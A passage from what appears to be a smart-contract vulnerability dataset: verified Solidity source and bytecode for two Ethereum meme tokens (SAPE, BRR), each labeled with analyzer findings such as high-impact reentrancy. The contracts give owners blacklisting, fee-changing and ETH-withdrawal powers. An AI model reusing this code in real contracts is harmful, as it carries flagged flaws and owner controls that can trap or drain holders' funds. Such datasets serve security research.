6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fe54712caa7d43177edb1df27234e388cfc796d8bf8f7f465640f44d577db18f64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
537
0x1739d22c5791724ae20729bd62547d54acbe4716
/** *Submitted for verification at Etherscan.io on 2022-03-22 */ // SPDX-License-Identifier: UNLICENSED //https://t.me/skullapeportal // The awesome Skull Apes was originally an ordinary APE deliberated by Caesar's army. Having become a confidant of Caesar during the war between human race and Ape, Skull Apes gained ambitions to become the superior Ape, leading it to test the version of the Ape’s Super skull soldier on itself, resulting with him becoming hideously disfigured as well as gaining the name of Skull Apes. pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SAPE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "SKULL APE"; string private constant _symbol = "SAPE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x4A3c1658481DBa8683f396A8460035350Aec72F2); _buyTax = 12; _sellTax = 12; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/2; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 14) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 13) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610345578063c3c8cd8014610365578063c9567bf91461037a578063dbe8272c1461038f578063dc1052e2146103af578063dd62ed3e146103cf57600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610310578063a9059cbb1461032557600080fd5b8063273123b7116100f2578063273123b714610215578063313ce5671461023557806346df33b7146102515780636fc3eaec1461027157806370a082311461028657600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae5780631bbae6e0146101d357806323b872dd146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268534b554c4c2041504560b81b60208201525b6040516101759190611949565b60405180910390f35b34801561018a57600080fd5b5061019e6101993660046117d0565b610415565b6040519015158152602001610175565b3480156101ba57600080fd5b50678ac7230489e800005b604051908152602001610175565b3480156101df57600080fd5b506101f36101ee366004611902565b61042c565b005b34801561020157600080fd5b5061019e61021036600461178f565b610478565b34801561022157600080fd5b506101f361023036600461171c565b6104e1565b34801561024157600080fd5b5060405160098152602001610175565b34801561025d57600080fd5b506101f361026c3660046118c8565b61052c565b34801561027d57600080fd5b506101f3610574565b34801561029257600080fd5b506101c56102a136600461171c565b6105a8565b3480156102b257600080fd5b506101f36105ca565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102ef57600080fd5b506040805180820190915260048152635341504560e01b6020820152610168565b34801561031c57600080fd5b506101f361063e565b34801561033157600080fd5b5061019e6103403660046117d0565b61087d565b34801561035157600080fd5b506101f36103603660046117fc565b61088a565b34801561037157600080fd5b506101f3610920565b34801561038657600080fd5b506101f3610960565b34801561039b57600080fd5b506101f36103aa366004611902565b610b27565b3480156103bb57600080fd5b506101f36103ca366004611902565b610b5f565b3480156103db57600080fd5b506101c56103ea366004611756565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610422338484610b97565b5060015b92915050565b6000546001600160a01b0316331461045f5760405162461bcd60e51b81526004016104569061199e565b60405180910390fd5b6702c68af0bb1400008111156104755760108190555b50565b6000610485848484610cbb565b6104d784336104d285604051806060016040528060288152602001611b35602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff0565b610b97565b5060019392505050565b6000546001600160a01b0316331461050b5760405162461bcd60e51b81526004016104569061199e565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105565760405162461bcd60e51b81526004016104569061199e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059e5760405162461bcd60e51b81526004016104569061199e565b476104758161102a565b6001600160a01b03811660009081526002602052604081205461042690611064565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016104569061199e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106685760405162461bcd60e51b81526004016104569061199e565b600f54600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610456565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072257600080fd5b505afa158015610736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075a9190611739565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107da9190611739565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082257600080fd5b505af1158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a9190611739565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610422338484610cbb565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016104569061199e565b60005b815181101561091c576001600660008484815181106108d8576108d8611ae5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091481611ab4565b9150506108b7565b5050565b6000546001600160a01b0316331461094a5760405162461bcd60e51b81526004016104569061199e565b6000610955306105a8565b9050610475816110e8565b6000546001600160a01b0316331461098a5760405162461bcd60e51b81526004016104569061199e565b600e546109aa9030906001600160a01b0316678ac7230489e80000610b97565b600e546001600160a01b031663f305d71947306109c6816105a8565b6000806109db6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3e57600080fd5b505af1158015610a52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a77919061191b565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aef57600080fd5b505af1158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047591906118e5565b6000546001600160a01b03163314610b515760405162461bcd60e51b81526004016104569061199e565b600e81101561047557600b55565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016104569061199e565b600d81101561047557600c55565b6001600160a01b038316610bf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610456565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610456565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610456565b6001600160a01b038216610d815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610456565b60008111610de35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610456565b6001600160a01b03831660009081526006602052604090205460ff1615610e0957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4b57506001600160a01b03821660009081526005602052604090205460ff16155b15610fe0576000600955600c54600a55600f546001600160a01b038481169116148015610e865750600e546001600160a01b03838116911614155b8015610eab57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec05750600f54600160b81b900460ff165b15610eed576000610ed0836105a8565b601054909150610ee08383611271565b1115610eeb57600080fd5b505b600f546001600160a01b038381169116148015610f185750600e546001600160a01b03848116911614155b8015610f3d57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4e576000600955600b54600a555b6000610f59306105a8565b600f54909150600160a81b900460ff16158015610f845750600f546001600160a01b03858116911614155b8015610f995750600f54600160b01b900460ff165b15610fde576000610fab600283611a5c565b9050610fb78183611a9d565b9150610fc2816112d0565b610fcb826110e8565b478015610fdb57610fdb4761102a565b50505b505b610feb838383611306565b505050565b600081848411156110145760405162461bcd60e51b81526004016104569190611949565b5060006110218486611a9d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091c573d6000803e3d6000fd5b60006007548211156110cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610456565b60006110d5611311565b90506110e18382611334565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113057611130611ae5565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118457600080fd5b505afa158015611198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bc9190611739565b816001815181106111cf576111cf611ae5565b6001600160a01b039283166020918202929092010152600e546111f59130911684610b97565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122e9085906000908690309042906004016119d3565b600060405180830381600087803b15801561124857600080fd5b505af115801561125c573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061127e8385611a44565b9050838110156110e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610456565b600f805460ff60a81b1916600160a81b17905580156112f6576112f63061dead83610cbb565b50600f805460ff60a81b19169055565b610feb838383611376565b600080600061131e61146d565b909250905061132d8282611334565b9250505090565b60006110e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ad565b600080600080600080611388876114db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ba9087611538565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113e99086611271565b6001600160a01b03891660009081526002602052604090205561140b8161157a565b61141584836115c4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161145a91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006114888282611334565b8210156114a457505060075492678ac7230489e8000092509050565b90939092509050565b600081836114ce5760405162461bcd60e51b81526004016104569190611949565b5060006110218486611a5c565b60008060008060008060008060006114f88a600954600a546115e8565b9250925092506000611508611311565b9050600080600061151b8e87878761163d565b919e509c509a509598509396509194505050505091939550919395565b60006110e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff0565b6000611584611311565b90506000611592838361168d565b306000908152600260205260409020549091506115af9082611271565b30600090815260026020526040902055505050565b6007546115d19083611538565b6007556008546115e19082611271565b6008555050565b600080808061160260646115fc898961168d565b90611334565b9050600061161560646115fc8a8961168d565b9050600061162d826116278b86611538565b90611538565b9992985090965090945050505050565b600080808061164c888661168d565b9050600061165a888761168d565b90506000611668888861168d565b9050600061167a826116278686611538565b939b939a50919850919650505050505050565b60008261169c57506000610426565b60006116a88385611a7e565b9050826116b58583611a5c565b146110e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610456565b803561171781611b11565b919050565b60006020828403121561172e57600080fd5b81356110e181611b11565b60006020828403121561174b57600080fd5b81516110e181611b11565b6000806040838503121561176957600080fd5b823561177481611b11565b9150602083013561178481611b11565b809150509250929050565b6000806000606084860312156117a457600080fd5b83356117af81611b11565b925060208401356117bf81611b11565b929592945050506040919091013590565b600080604083850312156117e357600080fd5b82356117ee81611b11565b946020939093013593505050565b6000602080838503121561180f57600080fd5b823567ffffffffffffffff8082111561182757600080fd5b818501915085601f83011261183b57600080fd5b81358181111561184d5761184d611afb565b8060051b604051601f19603f8301168101818110858211171561187257611872611afb565b604052828152858101935084860182860187018a101561189157600080fd5b600095505b838610156118bb576118a78161170c565b855260019590950194938601938601611896565b5098975050505050505050565b6000602082840312156118da57600080fd5b81356110e181611b26565b6000602082840312156118f757600080fd5b81516110e181611b26565b60006020828403121561191457600080fd5b5035919050565b60008060006060848603121561193057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119765785810183015185820160400152820161195a565b81811115611988576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a235784516001600160a01b0316835293830193918301916001016119fe565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a5757611a57611acf565b500190565b600082611a7957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a9857611a98611acf565b500290565b600082821015611aaf57611aaf611acf565b500390565b6000600019821415611ac857611ac8611acf565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047557600080fd5b801515811461047557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034091dd803b477011e5a5cca372b2f9942ca7b241f84c960be475fa383b4ef9f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
538
0xA516e20f018Fa317a30970B04520846C0d6d502a
// BRR // https://www.printergoesbrr.finance/ // https://t.me/brrETH // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BRR is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (type(uint256).max - (type(uint256).max % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _ethSent = 0; address payable public _feeAddrWallet; string private constant _name = "Money Printer"; string private constant _symbol = "BRR"; uint8 private constant _decimals = 9; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferType(uint256 ethSent, uint256 transferType, uint256 amount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable feeAddrWallet) { _feeAddrWallet = feeAddrWallet; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function updateFeeWallet(address payable newFeeWallet) external onlyOwner { _feeAddrWallet = newFeeWallet; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 transferType = 0; if (!_isBuy(from)) { if (_buyMap[from] != 0 && (_buyMap[from] + (24 hours) >= block.timestamp)) { _feeAddr1 = 5; _feeAddr2 = 20; //M 15 G 5 transferType = 1; } else { _feeAddr1 = 0; _feeAddr2 = 12; //M 8 G 2 transferType = 2; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 2; _feeAddr2 = 12; // M 0 G 2 transferType = 3; } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ _feeAddr1 = 0; _feeAddr2 = 0; transferType = 0; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint256 _feeAddr1Before = _feeAddr1; uint256 _feeAddr2Before = _feeAddr2; swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); _ethSent = contractETHBalance; } _feeAddr1 = _feeAddr1Before; _feeAddr2 = _feeAddr2Before; } } _tokenTransfer(from, 